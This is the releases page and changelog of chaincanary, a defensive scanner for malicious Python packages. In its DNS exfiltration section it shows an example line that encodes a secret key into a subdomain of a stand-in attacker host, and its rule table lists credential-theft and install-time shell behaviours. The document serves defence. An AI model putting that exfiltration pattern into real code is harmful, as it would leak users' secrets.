Releases: AetherCore-Dev/chaincanary
v0.2.0
chaincanary v0.2.0
Install
pip install chaincanary==v0.2.0Quick scan
chaincanary check litellm latest
chaincanary audit requirements.txtSee CHANGELOG.md for what's new.
Full Changelog: v0.1.5...v0.2.0
v0.1.5
chaincanary v0.1.5
Install
pip install chaincanary==v0.1.5Quick scan
chaincanary check litellm latest
chaincanary audit requirements.txtSee CHANGELOG.md for what's new.
Full Changelog: v0.1.4...v0.1.5
v0.1.4
chaincanary v0.1.4
Install
pip install chaincanary==v0.1.4Quick scan
chaincanary check litellm latest
chaincanary audit requirements.txtSee CHANGELOG.md for what's new.
Full Changelog: v0.1.3...v0.1.4
v0.1.3
chaincanary v0.1.3
Install
pip install chaincanary==v0.1.3Quick scan
chaincanary check litellm latest
chaincanary audit requirements.txtSee CHANGELOG.md for what's new.
Full Changelog: v0.1.2...v0.1.3
v0.1.2
chaincanary v0.1.2
Install
pip install chaincanary==v0.1.2Quick scan
chaincanary check litellm latest
chaincanary audit requirements.txtSee CHANGELOG.md for what's new.
Full Changelog: v0.1.1...v0.1.2
v0.1.1
chaincanary v0.1.1
Install
pip install chaincanary==v0.1.1Quick scan
chaincanary check litellm latest
chaincanary audit requirements.txtSee CHANGELOG.md for what's new.
Full Changelog: v0.1.0...v0.1.1
v0.1.0 - Initial Release
Changelog
All notable changes to this project will be documented in this file.
Format: Keep a Changelog
[Unreleased] — post-0.1.0 hardening
Fixed
Scoring system overhaul (chaincanary/models.py)
- BUG:
1×CRITICALproducedscore=4.0 → LOW_RISK. Completely wrong — a single
CRITICAL finding (e.g., phone-home.pth) should never be LOW_RISK. - Fix: severity-floor override rules added on top of numeric threshold:
1×CRITICAL→ verdict floor HIGH_RISK2+ CRITICAL→ verdict floor MALICIOUS3+ HIGH→ verdict floor HIGH_RISK
- BUG:
20×LOWaccumulated to6.0 → HIGH_RISK(noise inflation). - Fix: LOW findings capped at 8 contributors to score.
20×LOW = 2.4 → LOW_RISK.
DNS exfiltration detection (chaincanary/analyzer/static.py)
- New rule:
DNS_EXFIL(HIGH severity) - Detects
socket.getaddrinfo()andsocket.gethostbyname()with dynamic hostnames in__init__.py - DNS exfil encodes stolen secrets (env vars, tokens) as subdomains:
socket.getaddrinfo(base64(SECRET_KEY) + ".c2.attacker.com", 80) - DNS traffic bypasses most firewalls — this was a real blind spot.
- Non-init files with socket (e.g.,
server.py) are not flagged → no false positives.
sys.modules bypass detection (chaincanary/analyzer/static.py)
- New rule:
SYS_MODULES_ACCESS(MEDIUM severity) - Attackers use
sys.modules['requests'].get(...)to call network functions
without triggeringimport requestspattern matching. - Now detected in
__init__.py.
safe_version recommendation validation (chaincanary/engine.py)
- BUG: Previous version was blindly recommended as rollback without scanning it.
If1.82.6was also compromised, we'd recommend a malicious version. - Fix:
_find_validated_safe_version()runs a quick static scan on up to 3 candidates
and only recommends versions that pass as SAFE or LOW_RISK.
alias pip removed from README
- Using
alias pip="chaincanary install"breaks-e .,-r, and other pip flags. - Replaced with a clear recommended workflow section.
Comparison table accuracy (README.md)
Trivycorrectly described as SBOM+CVE scanner (does file-level scanning, not behavioral .pth analysis)pip-auditcorrectly described (does CVE + dependency confusion, not behavioral)socket.devadded to table- Added clarifying note: use chaincanary alongside pip-audit/Safety, not instead of
Workers rate-limit cap (chaincanary/cli.py)
--workerscapped at 16 internally to avoid PyPI 429 rate-limiting- Warning printed when user requests more than 16
Added
Typosquatting detection (chaincanary/safety_checks.py — new module)
check_typosquatting()using Levenshtein edit distance + SequenceMatcher similarity- Database of 100+ most-downloaded PyPI packages
- Threshold: edit distance ≤ 2 AND similarity ≥ 0.75
- HIGH severity for distance=1 (e.g.,
reqeusts→requests) - MEDIUM severity for distance=2 (e.g.,
numpyy→numpy) - Catches visual substitution attacks:
fIask(capital I) →flask - Runs as Step 0 in
AnalysisEngine.analyze()— no download required
Git dependency flagging (chaincanary/lockfile.py)
PackageSpecgainsis_git_dep: boolandgit_url: Optional[str]parse_requirements_txt()now parsesgit+https://,-e git+,git://lines- Git dependencies are marked HIGH_RISK in
auditoutput:
they bypass PyPI review, code signing, and reproducible builds
Tests
- 69 tests total (was 33) — all passing
tests/test_review_fixes.py: 36 new tests covering all above fixes- Scoring: 12 test cases for all verdict combinations
- DNS exfil: 7 test cases including false-positive checks
- Typosquatting: 9 test cases including visual substitution attacks
- Git deps: 4 test cases
- Regression: 4 tests ensuring prior detections still work
[0.1.0] — 2026-03-26
🔄 Renamed: pipguard → chaincanary
The project has been renamed from pipguard to chaincanary.
Why: The name chaincanary better captures the tool's purpose — like the
canary in a coal mine, it's the first signal that something in your supply chain
has gone wrong. It's also not tied to pip, leaving room to expand to other
ecosystems (npm, cargo, go modules) in the future.
The old PyPI name pipguard will publish a stub package pointing to chaincanary.
[0.1.0] — 2026-03-25
🚀 Initial Release
The short story: We built chaincanary the day LiteLLM 1.82.7 hit the news.
The attack hid a phone-home beacon inside a .pth file — a mechanism that
executes on every Python interpreter startup. chaincanary was designed to catch
exactly this.
Added
Core detection engine
- Static analysis of Python wheels (no sandbox, no Docker required)
.pthfile semantic classifier — distinguishes EMPTY / PATH_ONLY / SAFE_CODE / DANGEROUS- Empty
.pth(pytest-cov style): silent ✓ setuptoolsdistutils shim: LOW warning only ✓- LiteLLM 1.82.7 attack pattern: CRITICAL → MALICIOUS ✓
- Empty
- AST deep analysis: exec/eval obfuscation, network calls in install hooks
- Delayed-trigger detection: network calls in
__init__.py(runs on every import) - Zip safety: path traversal + zip bomb detection
- Known malicious hash database (SHA256)
Version diff
chaincanary diff <pkg> <v1> <v2>— shows exactly what changed between versions- Flags new
.pthfiles, new network imports, behavioral changes
Lockfile audit
chaincanary audit requirements.txt— scans all pinned packages in parallel- Supports: requirements.txt, pyproject.toml, Pipfile.lock
--fail-on MALICIOUS|HIGH_RISKfor CI integration
GitHub Action
- Drop-in action:
uses: allenenli/chaincanary@v0.1.0 - Audits your requirements file on every push/PR
- Fails the build if malicious packages detected
CLI
chaincanary check <package> <version>— single package scanchaincanary audit [lockfile]— batch scanchaincanary diff <pkg> <v1> <v2>— version comparisonchaincanary install <package>— safe install wrapper- JSON output mode (
--json-output) for pipeline integration
Detection rules (v0.1.0)
| Rule | Severity | What it catches |
|---|---|---|
| PTH_FILE_INSTALL | CRITICAL | .pth with external data flow |
| PTH_NETWORK_BEACON | CRITICAL | phone-home on every Python startup |
| PTH_SUBPROCESS | CRITICAL | shell command on every Python startup |
| NETWORK_IN_SETUP | HIGH | network call during pip install |
| SUBPROCESS_IN_SETUP | HIGH | shell command during pip install |
| OBFUSCATED_CODE | HIGH | base64+exec, eval obfuscation |
| SENSITIVE_PATH_WRITE | HIGH | SSH keys, AWS creds access |
| CURL_WGET_IN_SETUP | HIGH | curl/wget during install |
| INIT_NETWORK_CALL | MEDIUM | network call on every import |
| EXEC_IN_SETUP | MEDIUM | exec() in install hooks |
| SITECUSTOMIZE_MODIFY | MEDIUM | system-wide startup hook |
| KNOWN_MALICIOUS_HASH | CRITICAL | SHA256 hash database match |
| WHEEL_PATH_TRAVERSAL | CRITICAL | directory escape in wheel |
| WHEEL_ZIP_BOMB | HIGH | excessive file count |